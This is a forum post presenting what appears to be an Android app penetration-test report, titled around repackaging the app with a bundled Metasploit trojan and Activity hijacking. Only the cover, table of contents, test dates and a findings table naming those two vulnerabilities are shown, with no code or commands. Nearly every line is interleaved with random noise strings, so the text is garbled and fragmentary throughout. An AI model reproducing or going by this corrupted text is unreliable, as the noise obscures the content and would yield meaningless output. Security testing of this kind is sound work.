中国网络渗透测试联盟

标题: 原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞 [打印本页]

作者: admin    时间: 2022-6-8 20:32
标题: 原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞
1 Y p: ]: q7 {5 v1 Z/ G. ]2 o/ `% ~ b6 k: _ Y

8 k, J2 O- r0 h! ? 8 M5 @7 N( R4 q8 |/ B4 ~
: x" T+ h7 v- m: w5 X5 C$ C& ~6 \, {+ v

% X9 Y3 l4 }9 y' n$ L2 f/ _ & ?+ T" s" e6 W* u% u* t' O
! _. ?( ] u6 I; o8 B! j8 T0 M' N* X, V; G. V5 d

4 E' p% c- n5 a. m0 t . `: z$ y8 F- g8 v* F1 k 文档编号:                / o5 D K+ u" V1 f4 f9 D+ m9 P% ^ 4 c3 O* N0 g" p2 Y6 r' t

; F/ |, n# k5 _. c5 E; m * a' b2 Z. o$ b3 c* I5 |1 |" s

. [6 c4 f7 C3 Z' J" x5 Y; R i, F7 C/ g/ e: Y   6 E: y0 B% {( i/ R 6 {" T' p3 ?" _0 \/ d

( `, R8 r4 t: q4 }& N3 h( p9 |" t* A$ b$ x+ T7 N

1 O, v) h9 g- C0 n ( E8 ~' j% h) J8 N* s ?   & X- T4 i, I( Q3 `- _ a! z [* G; d9 g! K9 r

* I1 V* t& p1 K3 {& ]5 s # B$ x0 Z ~' i+ j. f

6 i% i2 a6 c; _; J$ m4 o 7 p# S# B) X2 L* a1 _( [- \7 E   6 D, Q3 G5 x# L7 K% A' d 9 z- I; c2 q U9 F5 ]

$ C' e& U0 G+ K; E- r. v, \8 B% r/ |

7 ^1 A- y9 |2 N; o 4 M- c, U0 F% Y5 S+ G   8 j4 M1 b f" S" V0 C0 X4 _/ Q. N. u0 d" e3 @

1 v1 ]* J r9 D' Y ?% @: S$ Z, l( Z6 Z6 _

) ?4 y. [6 P* v0 {/ h' @ p! Y; X9 c! v% W& o- C   2 d- V, _0 b$ `8 v1 W% H2 a0 L. T, _$ L- I0 J- e1 I

/ ?0 h; o) `7 K9 D, Q $ H1 }5 V! I8 u4 v6 t

- ^* n" j9 C9 }, K 9 ^* _. |% i1 E3 [& ?8 L! \2 Q 某某某APP渗透测试 7 Q5 H. }. _ L K4 J . Q7 p. W j& X- U: L0 g

6 t3 V1 O+ |! T% g8 B. x& M- I( _/ f: I5 T3 o

& D8 b3 v; ]( g, ], b% R5 C* M# a3 V( ]2 W   3 G$ V7 T) E V/ D& j. o4 ]& l. \& {% T3 l# n, n. \

6 R* E* O) f2 r: Q. w4 y + n. F+ L: S: `( [

. a8 Z% {: d8 s- Q' R # {5 z2 ^4 P r, L5 s! K) K   ) S% n0 k0 ?, E. @# r ) g+ Q, G7 q) w2 X- e, C! x A, I

' k8 s5 Z( ?5 `- g 3 q6 m: L8 o& ^1 L( q; } K- U% H& x& \: S

' z6 A( v% e% W/ B" D" r3 T- H& G1 P, T. Q$ B( e   G8 p) \+ d9 f! [" C% u! W f; b# \1 h# q# @5 j n

6 F, `0 M: v% G1 m" n / @* R, d) x% h H& d1 c2 X" K

1 y+ T, e! ^% I) g! L 2 d$ j* c% j4 N$ H/ E! y   / S2 t1 ?3 }3 g1 [9 A0 e( f& ` Y5 N- X7 @8 `

6 |6 W' c( \7 P ( \& k* y3 [7 D6 {5 \8 W) z

, D! |0 t) q, O% P% @ * Q% D' k0 a6 k7 t) A5 Y' z 技 术 报 告 0 u% [5 r8 U' _# n9 D$ O* G, p' _3 F, p- K; z) N. B: N

& z) ]' L$ L. h. W) q# E6 w9 ? G0 C- C8 ~& R

$ i3 i0 w, @3 ~! x; k 5 H/ M s, }4 Z* b0 {   5 e) A# J6 P) W# u9 t4 H3 A ; ?: Z+ N1 a' v! T" r

, X1 P0 e/ o5 u0 s) t ) G* ]$ T' \& V2 u* Q7 ~- ^4 p! M

; T# S) i2 @, |9 q, W ! J" M1 J( j7 ]3 @% x% u/ P t   + ~4 z& J S$ n0 \$ l* N2 d; H/ R w! L% A; ~- x* r

% b9 E$ i5 i0 E , V0 i4 u1 g" \& ?8 `3 e

) | j8 {1 e, A1 U. u/ W" C$ p$ O ) ]( D% v* {, e. V+ z# h   # Y" ^/ i( Q [9 j9 i7 z4 y + R+ i% R% E' C. L! N

2 Y9 V0 D* P2 l/ A: V 8 [0 s; Y. T+ Q/ p- n% e- b

7 N0 T( U$ Z9 h3 j+ D3 v6 x! d4 U2 c 5 N# j, Y \6 m6 M, B9 `   ( E* u! y" \3 e) G0 z. V. I / \3 B6 q) s3 a5 _9 u

- [ r7 t# G G& n3 b/ C* R1 P7 F, R' b' k

4 o+ T; g! ~) M3 V! R. q& Y% p7 R) t   & @2 E. [; I% n5 R 3 M. F( Y7 y, T- ~4 J6 L% w

3 B5 F+ o4 n2 K( L, |5 x# G , R: c& K: {- E8 Q! J

" _" Z. O; _+ L- x 0 q C! J0 N& z9 j) B6 E   1 W8 H' @/ g- P3 f* a0 d, O5 ^9 d 6 o+ W2 F0 j$ E2 }7 ]+ @1 n

7 Z7 U+ O- g& s# }+ L% O2 x3 S3 H1 h3 Y3 d

+ _2 S. ~5 g5 ^. } 7 `+ {/ L4 y$ x( T0 i   * q: x; [* u+ \- x * T) i7 x& o d5 D! s' m9 R

4 p9 u6 I2 u$ q' e) d& y+ i/ w% c% w: ?7 t+ o; G

$ Y" ?# F3 \* S: T9 Y' V% q; C ( g8 C3 L" T# ?/ e   " H: g0 H2 W+ K- d' @$ J6 L4 @5 y; o. d p5 b" i

& v# s& j$ f9 t5 N: c* M M7 g" T( n6 v$ d7 P

; o# Z* h8 D/ a$ i0 N0 O6 c+ r# J   F( A2 d W# |5 {+ r . }* |5 Q1 M2 u# N* u

2 L) C8 d( z. @5 r( g, Z( ? 4 _2 e, h# y% p5 d* v

5 T' b; h' W8 Z. p. L2 ` 0 Z& o+ P: q3 y I! d5 \   - X' X1 L$ J& S3 t5 b" c0 l/ B + y3 y- l: E( {" @0 C4 L

8 b5 w1 d( ]$ C6 {6 N * l9 A) y4 H3 n

% Q. B% j8 U3 U2 ]1 `& S8 O+ O3 f; n( z5 Z, I4 H   # t% q: Q' ]2 p' X% w! Q) f2 D4 |9 z

- Y, t. P+ T( l8 K6 o/ M& K! i+ | / x, k2 h0 h1 b3 c! Y9 ^* Q

8 B4 ]) Z4 P1 N9 C% m4 @+ Q 6 F9 M" d* l- M; X, x: _2 Y   , r. M' r' v) m ( V6 z. g U1 u% F3 O

5 ^4 C3 n2 w; k2 X! ?2 J ( ~" _9 x9 A: w: `9 {$ w( y

1 q& `; l( A: Z1 @% ?/ q& Q : j) d. H9 ]: J! w, F: _   ! O; L3 \1 H( B # a& R) _) i2 l T. a& S

+ A; c6 W9 p$ k' r4 q. A $ L+ x% `; o" D% F& m! O. H" Y

3 I6 i9 v' F3 T2 h: J0 J. z! H ) O4 v& A B* D( g+ r1 r1 j   # r. c9 c- z1 P9 ~% H" w- k7 ~3 r

" |+ R2 a2 _- @# W5 U1 |# | y6 u, z- X" I8 I

( w, U4 X% V# D. _3 _4 j % [( t4 f; a4 C& s5 t) D, _   ( x$ o& u; d1 C& W! d: r # m6 h* C* g% w; \6 j

" J! }8 y: D% ]' { E# V: q* x3 B5 j) J2 x6 T) o; @

; r4 f; M5 X" F4 O ! h2 S, @- K8 y: z   5 G9 i F# S# i: V2 p; _ / } u, [1 C% I

; v$ Y3 A- Y' k2 L6 Q, ~$ o : }% I) A/ _- k7 E) F3 h, J+ v

) c4 k5 u) |7 v% [+ R$ d- L* S2 w" Q5 R3 I% ^ b5 i7 I5 S* E   : v' u% N# ~5 ~3 ^ % X0 X. F' b) Q8 t3 t

1 a' N' |$ g. A' Q4 Y1 H+ M8 [ & v5 |# K8 f0 U: J- ^9 }6 n

' |0 c5 z3 B* g * B) I" T, \( n+ r$ L   ( w! U; s' n% b # Z8 w6 ~) h% t4 l

+ e/ r8 C7 l$ k, v; M$ t - L& _6 b8 l6 N5 [

1 F! k1 q* p& z& n' `* {( N% s+ q% U7 `0 I3 C 二〇二〇年 . Q9 S, N4 U9 e9 W* L ' T3 ]2 f& f0 u+ Q2 z+ |

I$ M2 k; i! B$ v 6 P; ?! x: a+ C# n2 J
, a$ r$ D: R2 P4 o. _' ?0 t. N _) d; b* e
^! c2 l( k9 ]5 J. G$ r/ r r3 ^1 \- A& A5 j" O; f1 i3 n+ K
; _5 k& v( }6 g! m4 C& [: E9 \; i: D: Y& V
4 H+ v( u$ ]( D2 y ' o" M0 D6 ]% I$ U* D/ W/ @1 |# H
" P1 Y! m9 x' j5 g3 _ 9 O- A. P* Y s% ?9 L; L# X
7 c5 e0 a- T' h# B9 c. U 0 U9 y! Q, F' c5 P
! U. `$ M' k. H9 B( }+ r , s6 P4 G8 {- J1 \1 D2 o
* J) P/ D+ q0 v) ~; ]1 m9 x1 | % |1 w* ^9 t2 L4 s+ p

3 L7 x) }+ o& Z$ ~! R+ W/ y 8 [" V8 ~4 T: ` A$ E 目 录 * Z& p. n8 j/ |% E! S/ e1 H5 ?# Y; P9 l5 X h2 p

& a& ?& b* K0 A3 w' n $ b4 h _! C7 ]/ E, u8 s; X & Q5 `8 a5 o2 L, x8 l4 O / |& t' X: Z: I3 ~1 ?

6 l0 j" D6 Q; H& D$ ^! y0 ?( J: x) t2 C! T   , Y' j8 T% D2 b) ~ " h" W3 }. B5 }6 k

$ `% P$ p0 b- a. K$ T & c9 f2 l7 g. t3 h! o+ u

g* Q2 u% W( J+ R # ~; e W/ P8 J3 ?) j H& P 1 概述... 3 0 ?. a2 h! M* A( W. U" c, b( |# F

! w2 B/ ~* X9 k. d8 L 1 t% j, l- N) _0 ?

4 e7 I/ n$ x7 V/ s/ r/ ~4 s; _1 _6 }& K9 O 1.2测试时间... 3 3 u; u# o7 F0 Q 0 W" Q9 D! a- i# U( I8 d

, I3 b. l5 J1 V! N4 |+ w+ f# `! |$ \+ q8 c

e: Y5 z3 }9 v- ~$ S + V4 [$ ]* b2 ?/ Q/ k 1.3测试对象... 3 8 z g! m: |' {. g! a1 l) x1 Z & V5 {! C; B) z2 E$ b2 o- ^6 z

8 [- y' w! x- p$ k& {& T0 Q4 e0 u ' Y# d% N2 u6 E! `7 O7 u5 [% L

( }4 t( d8 ^1 W- @1 S1 s- i x" B' z/ D4 `7 }7 L* X& U1 u 1.4测试结果... 3 & V# ` Q- s3 }5 w 6 J# O% g1 l, {) W9 `- V9 L2 v

! K+ l( O# I' T# w 5 h) e- }1 }; n" Y) U9 K2 ]+ b# _

; R5 R- {6 L1 |8 P/ V# I7 S1 w; k- E% U' h0 ? 2 检测结果... 4 7 E7 @! o; z1 F5 a2 R7 _: } n0 r( b a( ]% f i3 n8 h$ o7 F

" A+ w! ?( U9 G% H9 m 2 f/ h4 {9 B- q. ?7 d# R

$ i* j/ ]$ ^7 }* [4 _6 v 4 A) [; C# B4 ?, @& Z 2.1 某某某... 4 ; ~3 f4 H( q. B9 N4 [' k2 o4 [( q6 k

1 g5 j. V( O% }0 H9 Z( A / H( f; k# f* C0 v8 @: k+ N

# T# M% Z: N; S1 `( J3 g } 0 b7 N. u4 X, }) Q; W' z3 P 2.1.1检测目标... 4 3 x- H+ w, R" m% \' m! @3 D# B# Q 1 l# W$ ~) @6 \. K1 F! i

P' b4 P) M! a- h" y# e M. }9 q9 i- l* ^* v# i

0 j# _! [3 `& B/ A# r 4 k& q3 R' h4 O 2.1.2检测结果... 4 % s: v- t9 [; k8 R) p4 @4 f5 y Q% A; b. g' q, b9 P7 N

/ q2 |0 |3 ]/ Q' d$ Q: O% g0 A9 K' {7 o; l6 D5 d& V1 b1 K

3 z/ ` H ^; b; }5 T & L$ f7 l! L2 [" @( Z! d 2.1.2.1. 4 - H; d' v5 S {- v- a$ ]+ s D& Q' Q2 A; S, ~$ \+ d

, Q2 P( _, c% X% y( T 9 [. ~/ z/ b& P" m" r

8 ~7 i$ u6 J+ e: _6 d ' _* } s' |2 M 2.1.2.2. 6 8 V: z* X5 q8 D4 I, G. x . j7 `! U+ Y2 A9 S' J

1 O3 g8 Z$ C; q1 r! d 6 ?" g7 C7 o4 }0 q1 b6 a( m9 q

4 g* y: ?. o2 o: y0 g8 Y% `$ f3 p$ t6 ~, S, }8 d $ C }8 t3 D& z. v 0 j$ M! f* \4 ^. |

+ b& r& R* P: S$ m6 f / r7 i. I* e; _% I4 ]
4 o) h- h! }8 l/ g2 |5 b6 t0 i- w( u0 h& Y% X2 `: L5 a
' [( l; F& l% b% Q: L6 Y$ G& u- V/ ~# k0 ]
1 M1 ^& @4 `! L 6 z7 N0 @5 j; p" ]2 M
+ c; h) n# }* s' } / h4 P, Z, R" x! x# L: b

' }7 H3 ]* ~9 ^# S$ f/ X 2 o3 q+ P" } Y1 s& M 1 概述 8 n3 J) c. `2 c+ Z , `" _# Y7 O @( l

$ M5 h4 ^8 H" I! g$ {1 f " S" _: Y _! q

$ I+ q8 E+ N8 a 7 ?5 U, a7 _3 |. t3 E8 |: p! J 1.2测试时间 , c0 S. z0 T K ! c$ x- k! L% u8 I; c# H* R2 b

* R6 S( d1 _6 \+ r) @" x1 K ; A% T, O4 I' @% s0 j" k+ O- F" ]) J " W& T- }$ O+ J- r4 {4 s0 ?" o6 d# J( c. F& c0 Q0 l% g; F& q. ~9 m a: m- d' Q8 t9 r2 @1 L1 ?2 q8 i G) P; B6 s' X# q$ a" K. J. Z/ G' E: B$ p; F }& g9 i4 B& c( C, I3 s+ e4 l9 z+ x( n/ h! a3 m( g: }8 D; \3 }# T6 q4 I$ Q# H% ?& j# S# A1 I" Y( x9 A, \9 F, D4 o+ D* c" s/ L3 w: C+ Z! M/ P% K" L/ `% ^. |% z; y( o# o8 R, T3 D6 ^ o8 ~+ b& m6 W. H2 M5 q; L) k; b: X( B+ O$ P; i8 _/ ~) p$ B* D9 O; P5 n3 |7 Z* ^9 U8 ?* r& j+ X: d* ^4 Y+ [& I; v6 g1 w4 }! g, `% B4 B! r1 E$ A! h& @8 U4 O" H% D" \/ H& Y; ~! ~/ B; D0 o. W/ a) w, A) o# G5 |2 c6 T4 D9 z. B/ `% V$ C+ q: x* X6 A$ _5 ?* ?' Y" g1 g' H3 |; w, B: j d2 u& }3 \/ }2 c* {7 x8 o/ P* w6 p! L5 Z( I3 Z D
- C+ Z2 {5 M/ ?0 U# @6 t; t1 X W+ ?* _4 ]; \# o4 `6 t

6 [3 V8 f" o2 _; R. L: q J, ~1 k6 z/ W 渗透测试时间 6 B- ~4 m! k" U0 S: H' T0 x ! C$ f+ ^- d# L6 Y

5 k' a; ?; F, r9 b! G: M6 n+ \ + K* r# j4 O- u& r' i) E' N7 M! ^
; I" q+ ?5 N; O" z2 }0 G. u# I - M6 H! ^8 I, W) s* l

3 u0 t W& n0 z0 n$ s V1 i+ Z$ |$ C5 H. s+ V4 Q R0 C 起始时间 + O( O6 @, T ~: [" T 2 h4 H4 B2 h" d% ]$ l* ^

; [* i0 W4 I0 _% @ * d+ Y m- S) b, m2 u7 P! Y
( W$ a& b( q; f. N; E1 T ; D! P9 c" V! H

1 b+ E! ]2 l, \5 Q% k & v$ B/ i$ X& _. d2 \0 ^% `( C 202046 & j0 {* t2 y- f* v. Q $ n: E8 P Q% s' X+ [1 }

! }" ?, A6 d" c1 s4 B; J+ y / v( u( |, g" c# [6 ~! w4 m. c
( V, W+ W7 Z7 M6 X8 `: D. N1 Y+ [7 h* E. |

% q$ i/ M; t; ~- I( J9 M8 [6 c6 S/ U( G6 W 结束时间 7 P* x5 W8 d8 W$ T9 r( Z/ h, } 0 H2 z- @6 e; t* r# l$ L. S

. P, _* W, \0 Y 1 N0 s1 k* V# {% R7 |/ _
. v3 A( c& L b % O; E3 e) X3 R. T' u. T! f

7 X2 {, G9 \2 b * N2 W" D/ ` }% ^8 x( v9 X 202049 & W& T; z) c2 q8 T ( {7 D- i( G/ s' T

* L$ C4 H7 a3 [! c) V& ? ( s6 L0 I S$ O" m
2 v' p; |' G$ Q/ u2 q7 }3 l; z 0 `4 n. z& f* _3 x2 T' t: U: F- R

' J( S- m3 t% c& k9 ^$ `- r 7 L7 g$ y$ f; b 1.3测试对象 " E: s8 V, Z z; {8 n . g# b5 E2 w$ ^" g

2 _# i6 ~" d. V7 ` ( E! v) p, \; H0 X( d6 f

. C7 d) j3 T' G0 ^* z' }1 h; U ) o, q y+ x: v( f 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: 9 Q ?; ~, |) f4 A 8 f I& ?! Y& f3 F

2 `) a: A# p1 S 0 p8 W: {; h$ V

' ?. t, i# b6 J F9 G: m1 d$ k. K3 X5 b; M+ s 1-1 检测对象 9 M! r1 e/ Y6 l) n: }. A, ^* T" }! V1 A R% K- K* P* P$ u K5 r

9 j4 z Z* }, {5 ^. b; C 6 ~0 E5 y5 ]8 K. Q1 j / k: g" p4 x+ T' J' L: o6 C. r8 U$ ^8 b- O; c9 z* I; p/ a V; J. r! s: q1 K2 D; Z2 Y+ z! B0 z0 d9 t: R, F6 p& @& A# i, P7 F9 [6 b) e- O: _; ^0 u9 m6 T7 p! k) A, S* e& C* R R) f" ]2 O2 I9 B+ ?% T1 N d+ S3 r: A0 u% S5 R5 y* c0 a- `2 e( G7 F6 G5 z* S6 x9 H) h7 |, T4 C. T8 b* g5 t6 r2 {" y; |: M' M$ M7 z1 Z G$ n) U2 o$ s- O \* d7 b( h+ A: j {& n: O8 a+ S2 J8 w9 P& S( S- V, W0 k( G5 b% b- J# m! E0 Y o! V5 e r4 Z7 _; d' m# a; ~8 N2 A, ^- I# n& T: s" V% A" Z a& D: H, U% z& G# L% S, q* z- P/ \4 e; i8 `% {$ I/ v+ J! S% ?6 t/ S; X$ z0 g3 a5 L3 o' L, O9 e* Z' I* G1 n7 Z- N+ Z+ A5 I) x) U5 Z7 K' k" i" {# [5 A3 S& U1 Z. C* s: l* B+ r. M( t: V8 t" m0 Y$ I7 I7 _0 V7 g6 |' T4 x8 k
) v# n- J6 n+ [% v3 V" x/ s: ~5 Q& p: h, X! O9 W

& K X1 L$ g3 a8 U4 l2 u ! u1 g4 G1 H. O/ G4 p- }# p 序号 5 ^7 ~# c, O U9 U 9 s4 x0 j- X9 o# A6 f2 p% Z

4 E# I4 l" E7 ~ ; `) |" \2 {4 Y: p
/ O9 Z$ d4 w, w* A * I" _2 V+ {2 U# f8 @% `

, l- s. z( |7 b; X/ R 8 K/ {1 _0 x+ L) h4 b. V3 B" e 测试对象 0 q# |8 P8 p( o( v$ \5 l6 x8 G; W + x8 x% B% S3 e( `- V9 k v8 f

8 y W# e t7 A ! ]% O- s9 n$ Z9 k# p/ I
) d2 o- h( s8 u 4 r6 v" J0 M, e$ n& O

/ C1 Z6 z6 t; C/ r; i- \6 n6 l 8 `* o% n$ A/ h/ _4 X 测试地址 0 D6 V# @4 h. p$ I5 E* {+ Y5 I 6 ~0 U J2 W6 G- i" I

, H' i8 o1 z) ~ m" o$ M+ N9 h2 c6 v/ n S- u" p, o3 _
; ~; @0 a! O( i# m ; u9 q, I1 l7 T. I6 i: E; s; s

; y1 C) z1 G- m% P1 h 8 W! d3 g ^3 H1 Q3 m3 d1 G# o 安全漏洞 * c7 k! p G8 N0 w0 n( _7 a4 T * }% T7 R" q5 M( }- y2 N

; t* O6 g6 T0 V* @5 o& T 7 n5 I. k& A3 m5 M9 B; s
9 b/ }1 m7 {) b3 N0 f) z$ e g a# @' a

% y4 _, _! ]* Q& N" o( f 9 j1 |- }3 U* R 1 ! z/ Q1 N. t- S M' I& N( |' s$ M _4 ^

! }6 w4 b8 [) Z( e7 D% \* g, \7 L3 Z, a& X! P3 J
% m6 \/ A: ]' L* K ) Q) r+ g6 U0 B1 [0 @1 o" n2 r

! L) z3 E! h2 Z- s; } 0 O% c% E+ \$ E5 ~& [- Y6 K& q 某某某安卓APP 5 C" X N7 u( A& u) i7 k7 X! Y& @. C" J2 m, ?

0 q+ [# B4 L- y( k3 H+ I& b 4 S1 |/ ^4 |2 W2 M& K
& V9 @. a; ]6 Y8 R7 b* l5 v . f& L5 L" \3 i

' J9 Y5 u5 W4 \: f 4 M7 A8 s1 |9 C! V2 x7 J   % M6 U1 s' l( }5 y2 e 3 c9 a3 ~# a( t! ]) B9 U

7 F6 |/ O- b- j2 j6 C : }# v9 p4 A% z( U4 {5 X3 W
2 J; F/ c- D* e4 ]- X) e) @7 J. \. F* S5 w% z' I# u$ ?

# S" k9 @5 J4 A$ ]7 a3 y) l8 w& ]1 i3 A9 d, V' A2 o( E/ P/ i7 W' j 2 6 m- }; h* |5 K( U; d; u7 K $ O1 }9 i; \: g! E& C

) U: g3 q% l O ! f: ^) X6 J& e7 @; ]
0 C8 Y: @% l1 }) i ( B1 [4 p* ~0 N$ {2 ?

6 M2 X8 [) p! F- p" d' ~ ! U X- b3 x2 t 1.4测试结果 ( B, {* g$ G) a b+ l; e" e / A4 y! H; _$ g) o8 {: y4 `

8 K4 a- g# e3 p6 f9 H" f, L0 r& _0 F& z6 k

/ `: O& T. M+ `9 n- x1 v) x ' q& s" L8 P4 O 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: 0 }3 I& k0 c8 u' m : p5 T* b* Q6 t* j7 u

) E+ v! M7 @% b + C5 r3 K% V$ L( y4 [

" F8 h4 t/ V: E+ k6 w, q% b' O q+ @# e( ~) F V+ m* N4 m   2 f* H" u2 t3 p# {3 d' Q % I; E9 \2 A& l% v9 k& Z: h

% U& y& C1 S3 M4 l0 p1 Y( ]9 a, I1 A( r0 R$ Q! P
- ]! `. e; W1 V: Y* i! u 1 z7 ~$ K) [6 t9 l% P$ P- r0 I- ` : c$ {" V. ^1 h$ d4 C5 ^) S0 w Z& n8 ^6 W! a: n1 M6 S0 ~; q+ q# b, d: C( J S' J9 [$ {% B2 k; _$ b2 g6 J2 l; K8 J+ k4 k6 _8 d, @2 |3 Q O# S. Q5 M2 Y" R7 ^9 ?& b. }. [3 ~' o9 t F- H4 `: f7 }" [9 ^' C% {1 y+ G e" ^* O: @ l; W+ n$ P1 I- [! K/ {, X7 q P1 E& y7 X" m3 y5 Z! d/ A1 ?" E- M! O0 g+ A/ {$ y8 V H5 A, P' B, N6 J. p# c N4 [2 M# t/ P/ ?* y: b0 q" d7 ^4 _) q# Q+ w- ]2 ?9 j8 q; u2 J6 E+ G9 a% r0 J: r+ C6 e, Z+ e4 x* `. }) E0 A0 D$ Q* O/ ?0 z4 b$ d& L+ Q0 ?! H5 P5 l2 x1 h- |! g+ F& ~0 q% t! J& Z# x1 E- p% Y) c: {6 l, \- \: b* N2 R/ ?1 v/ M/ c# t0 D; Z# n# A6 S7 u3 d5 h+ H) H, v; O9 K7 Q2 v7 |$ [+ _+ U" ]( P s# S1 I2 [$ s9 ^) B4 \) z( I- f# J: C( i+ K+ I+ K' o5 f/ M k' o' x) `+ |+ x* r( s7 B7 ~/ g3 k7 `& h. w$ C1 Z+ Y3 K! \; ~. c9 C7 m! V* Z9 N! l1 u$ C$ a$ V ?6 D ~0 b; N7 I+ Z2 A2 l; V' g5 |( Q6 i; K5 O- N5 h% g7 Z. b# X: J* X2 c( W0 S/ S" M2 a) {- m* Q Z5 p& l. T5 w' k R. A; M4 _( h1 ]& H6 b- |% W7 j! c& b4 z! H, D/ ?$ W2 @- N# ]5 C/ ^1 e/ g* }0 y" n, {& `7 e$ B7 D* T i+ m* y+ ~: e3 z/ H* U5 [( \% Q" r- t) P: Z; [0 S" I, y5 e# v. L* S& s* h O
5 @: t, [, ?; v! k8 _: z8 K- I

& p: e5 [9 p% Y ; i- ]+ U6 c4 Q) p( I- z 序号 8 S0 Y3 Y5 D9 G* p + t& ^$ F) R4 S0 [: B0 v8 f

$ l# F' r( C! k. n' {' | : C t1 Y# E5 t4 t
, F- L( B" D! m* p6 o) O6 J' j* M. l# X" @

4 b0 r+ o q3 u( ^1 g3 I" Z; Q [* O) B H( o/ H' @ 系统名称 * p5 A$ T. h' a+ C2 ]! o( E; @: z, c, H! W, R

$ w4 i" ^2 q+ q' C( V8 V7 y9 j+ M5 |2 X" |! l3 i. A6 v$ _
" f- D7 ?9 S# j5 c & j$ B& E0 T+ X1 R: [+ ]) k

y' t4 Z t' j/ s$ _ % c2 P0 `+ [/ i2 Z: e3 U/ Q: m2 l 漏洞名称 4 Q0 W; v" A, _5 X " o3 n/ O& X- V% \3 b

{( h" T' T- N" m ( }8 [4 R9 s2 n' y
9 T9 l0 f2 |3 E2 }8 ?' ~+ I ( x- P9 w% i' A" J3 {' q% h/ U$ f

4 A3 | E- q) t1 g: [ 4 u- @" K7 l3 @4 a4 j7 r# e. m9 o 漏洞危害 / H- S1 X% N! l/ u9 Y6 g+ q# F9 `- T% p3 J) V: s* a

$ d# V% w* g8 o+ w6 H2 O+ ?3 B e* T8 K% C( L
e* T" C; X, Q6 U$ H: ?; a$ {5 i; [' L) p& K. B

: ^% v9 G+ O2 K) {# X $ K. W2 B5 i0 Z8 E% Y 修复结果 : Q& q3 K- \. E8 c 6 ]* g$ l" i" V5 j/ v4 b

; q- B0 P1 d/ I+ j! \ : ?) M" W1 |9 k4 i9 w9 s7 y7 d
, }$ a( k3 u5 V; S' s' B/ T6 ^( W: X) V7 E) h5 t0 `! d5 [( x

' R& O7 ?( }, D) }8 Z, k- v 9 r1 ^5 h* A6 n' S V: q B 1 . ]5 o7 M6 e% _2 N4 A 1 e% W% [2 n9 l: b

; J" E; q3 u K- b/ x# c # J4 ~5 ~) w1 v( z& V" l) [
8 S/ a; u' r) p5 l/ | 2 k" O. E( O: c- }! V' A

7 W9 q" a" B$ R% b$ }: {: K3 z* ]+ z 0 E' N6 N" z2 T7 G3 b 某某某某某某APP * @1 d/ Y5 i6 _5 @ J9 p 5 H. ^8 k, S l

7 r8 A2 _8 _9 j& Q4 x1 k# G * L) d$ z' ]7 j5 ~8 o& o9 o S
# {+ B" i' @- B ( U5 ~* f1 _* Q( B" R2 D, W I

/ h2 d% a: G4 L6 x8 q$ z. \' k( V& n ' w. a" T' [3 c2 L Activity 劫持 ; }& C0 i7 ~$ J/ c2 ?3 Z % Y4 ], Y9 }7 Q, G4 N

! K: k0 i# R; B / i! r% I- W4 t% F9 X& R

& X* x" s) m t / _/ \& ]# R. p. ^   4 u( ~' G) u* y/ S7 d& r; r/ H 1 [6 H8 K5 [+ _7 H* l: T1 K, G

2 t) v) I0 i$ [( e T2 U1 v. y* c' {: e* b, ^1 ?0 `3 b
" P/ V4 Z* ]7 k% p / ^, x2 f* J; X, w

_7 `, X1 ?+ U. T5 h ! y( c: a0 a# g* w 0 A& K, v6 h' W0 D 9 k& V( q) f4 P

* d. J% _% W$ u5 X6 q' c8 B3 i + h/ ~ u4 B* f2 l
( m4 }6 b3 k2 {/ W % H% q( D% y- m, e1 g/ ]

4 H: b- p! N* b$ u& ` 2 J _9 R( O8 V8 c; r   6 {, x$ k: L+ v* X7 f 0 k1 y& A, b1 \% D. A/ O/ P

4 ~" v u9 Q( d, E" Y5 I I) ?+ N, `! X: A+ L9 i
( v" o: ~: x; o; u- }+ J, U3 c+ r( j

4 d1 ~# u1 S! a6 x8 z, D) E' ? " p& _. A0 C0 \ 2 : {7 W1 y4 ?& I% s2 l3 ]0 X $ H) q7 l/ g k2 y P5 W( Q

, {) s$ a& V, c( E1 y( P* J2 o7 E2 W: T1 p9 T: W i: E5 q3 m
p8 d7 s D4 G# ^ ( _, `. |3 p! G( {

# Z B) S5 N/ L; H l$ J , }& j! j* ^ u2 T4 }* J 某某某某某某APP * P( R! r& w8 Y& H& ^ : F: Q$ q1 V" q: g

! o$ ~7 H$ o q: R9 m" @6 \ 0 R2 ?' }: d* K8 N9 @
: ^! U: M& M' k$ o0 Y- ^" G& J . d& X, Q+ g9 Y( {) {7 q

9 V2 h: q0 j k, ^$ _) g # P+ N7 f; C( O2 L8 G4 n 反编译二次打包捆绑木马、篡改APP代码 2 [: |" t K; k& e1 X2 e * [; [2 P) n3 \! Z. h( B5 N# n3 A

& d/ l# A I0 B9 e Q4 R, q B1 ]: |0 `; T% D
) M% K; c% U2 e+ O1 G ) Q ]8 S1 s/ |" @

j% f1 i7 s( q" o4 f 2 _6 n) o& y7 z5 q% I( V; ?) P 6 t- e/ y1 A# i7 X6 K [' Z1 C K2 x4 v3 {

$ f$ N! D- N2 ` ~( e2 i 8 P/ s4 p U* }( L* q0 z0 t9 Y
7 l+ i. V( z6 f 4 G* w8 `$ d0 f( r

- S2 {/ w! E2 b7 H7 \, U, Z 6 c- c) I% Z0 G   0 @' w3 O0 ^6 i, M5 q$ E4 x6 Z 7 x! k& O8 H% j

0 m$ l8 B9 b' M. v0 I' Z% E % Z0 o# A( h/ N) U/ e- k+ z
3 {1 P0 F$ W; s, F- U4 i: i9 T ; G! e8 M$ S4 p( _ M& G) E
# r& _; H( u4 i+ W+ N5 d4 b$ h8 w8 Y% @8 I) l; @) U

: }5 g. g* B C( {& P5 g3 D + u ~2 A) r, \! t$ P' L# `" _   & ` j2 a8 y$ d, Y0 O. S $ B9 J& Y7 s( @6 c

- U% _) g$ J7 V2 @0 I8 V# X A1 R. O5 M- J( C, E% c& H

9 n. Y' r. |2 {, g X # F$ v7 ~- g) w3 [ 1-2 测试结果 , {- } k& |+ T/ s J % W: i" o2 ]. O. k1 ?) j: ]: X: {; V

4 W& Z6 \. U* R5 T 3 n& O, D) ^9 M: B+ Y' I. U

: U- P& P% [# R; n6 i& w1 h1 Y5 J * `/ [! V/ i6 G( C7 N6 G0 x   * d8 R0 v, X3 P2 \ Q% L # ^8 {0 C9 S* K7 h

" X: z6 F& }: C0 a% d8 ` a# \ 6 k# ^7 i# K6 | B

